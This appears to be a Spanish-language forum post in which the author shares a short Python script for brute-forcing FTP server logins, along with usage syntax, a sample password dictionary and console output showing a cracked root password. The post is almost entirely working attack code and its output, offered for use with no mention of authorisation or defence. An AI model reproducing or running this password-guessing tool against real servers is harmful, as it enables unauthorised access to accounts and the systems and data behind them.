Buenas, gente!
Les dejo aquí un pequeño script sencillo que armé para
hacer fuerza bruta en servidores FTP.
import ftplib
import sys
class FTPServer:
def force(self, host="", user="", dictionary="", callback=None):
if host != "":
try:
if callback != None:
print("")
for passwd in open(dictionary, "r"):
usr = user.strip()
pwd = passwd.strip()
if callback != None:
callback(host + " >> " + usr + ":" + pwd)
try:
ftp = ftplib.FTP(host, usr, pwd)
ftp.quit()
if callback != None:
print("")
return [host, usr, pwd]
except:
pass
except:
return False
else:
return False
def data(data):
print (data)
ftp = FTPServer()
host = sys.argv[1]
user = sys.argv[2]
file = sys.argv[3]
result = ftp.force(host, user, file, data)
if result != False:
print ("Host: " + result[0])
print ("User: " + result[1])
print ("Pass: " + result[2])
else:
print ("\n[!] Error.")
La forma de uso es la siguiente...
archivo.py [dirección_ftp] [usuario] [lista_contraseñas]
Ejemplo:
diccionario.txt
123456
abcdef
acdc73
dragon39
admin
sysadmin
Ejecución desde consola:
> archivo.py ftp.miserver.com root diccionario.txt
ftp.miserver.com >> root:123456
ftp.miserver.com >> root:abcdef
ftp.miserver.com >> root:acdc73
Host: ftp.miserver.com
User: root
Pass: acdc73
Espero que les guste, saludos!